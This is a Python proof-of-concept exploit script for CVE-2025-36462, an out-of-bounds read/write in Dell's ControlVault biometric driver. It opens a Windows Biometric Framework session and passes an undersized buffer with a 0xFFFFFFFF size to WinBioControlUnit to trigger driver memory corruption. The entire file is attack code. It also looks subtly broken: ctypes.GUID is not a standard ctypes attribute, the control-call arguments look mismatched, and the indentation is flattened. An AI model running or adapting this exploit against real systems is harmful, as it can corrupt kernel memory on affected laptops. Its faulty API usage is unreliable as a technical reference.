#!/usr/bin/env python3
# CVE-2025-36462 PoC - Dell ControlVault WBDI Driver Out-of-Bounds Access
# Note: This is a proof-of-concept demonstrating the vulnerable code path
# Actual exploitation requires specific device access and Windows environment
import ctypes
from ctypes import wintypes
# Windows API definitions
WINBIO_FRAMEWORK = ctypes.windll.winbio
# WBDI Constants
WBIO_USH_CREATE_CHALLENGE = 3
WINBIO_TYPE_FINGERPRINT = 0x00000001
WINBIO_POOL_SYSTEM = 0
class WINBIO_UNIT_SCHEMA(ctypes.Structure):
_fields_ = [
('UnitId', wintypes.ULONG),
('PoolType', wintypes.ULONG),
('BiometricFactor', wintypes.ULONG),
('DeviceInstanceId', ctypes.c_wchar * 260),
('SensorSubType', wintypes.ULONG),
('SensorCapabilities', wintypes.ULONG),
('SupportedFormats', ctypes.POINTER(ctypes.c_void_p)),
('VendorData', ctypes.c_void_p),
('VendorDataSize', wintypes.ULONG)
]
def trigger_vulnerable_code_path():
"""
Trigger the vulnerable WinBioControlUnit call with invalid ReceiveBufferSize
This demonstrates the vulnerability mechanism
"""
try:
# Initialize WBDI session
session_handle = wintypes.HANDLE()
template_guid = ctypes.GUID()
unit_id = wintypes.ULONG()
# Open session - requires Dell ControlVault device
hr = WINBIO_FRAMEWORK.WinBioOpenSession(
WINBIO_TYPE_FINGERPRINT,
WINBIO_POOL_SYSTEM,
0, # Flags
None,
0, # Database count
None, # Database providers
ctypes.byref(session_handle)
)
if hr != 0:
print(f"[-] Failed to open session: 0x{hr:X}")
return False
print("[+] Session opened successfully")
# Prepare malicious parameters
# The vulnerability is triggered when ReceiveBufferSize is invalid
control_code = WBIO_USH_CREATE_CHALLENGE # 3
input_buffer = ctypes.create_string_buffer(b"\x00" * 64)
input_size = 64
# Invalid receive buffer size - this triggers the vulnerability
# Size should match expected size but we provide invalid value
receive_buffer_size = 0xFFFFFFFF # Invalid size
receive_buffer = ctypes.create_string_buffer(1) # Undersized buffer
# Call WinBioControlUnit with vulnerable parameters
hr = WINBIO_FRAMEWORK.WinBioControlUnit(
session_handle,
WINBIO_TYPE_FINGERPRINT,
0, # Unit ID
control_code,
input_buffer,
input_size,
receive_buffer,
receive_buffer_size,
ctypes.byref(wintypes.ULONG(receive_buffer_size))
)
# Check result - may succeed partially causing memory corruption
if hr == 0x80070057: # E_INVALIDARG
print("[-] Invalid arguments rejected (system may be patched)")
elif hr == 0x800706BE: # RPC_Server_Unavailable
print("[-] Driver communication error (device not present)")
else:
print(f"[*] Call returned: 0x{hr:X}")
if hr == 0:
print("[!] Potential out-of-bounds access occurred")
# Cleanup
WINBIO_FRAMEWORK.WinBioCloseSession(session_handle)
except Exception as e:
print(f"[-] Error: {e}")
return True
if __name__ == "__main__":
print("=" * 60)
print("CVE-2025-36462 PoC - Dell ControlVault WBDI Driver")
print("Vulnerability: Out-of-Bounds Read/Write")
print("=" * 60)
trigger_vulnerable_code_path()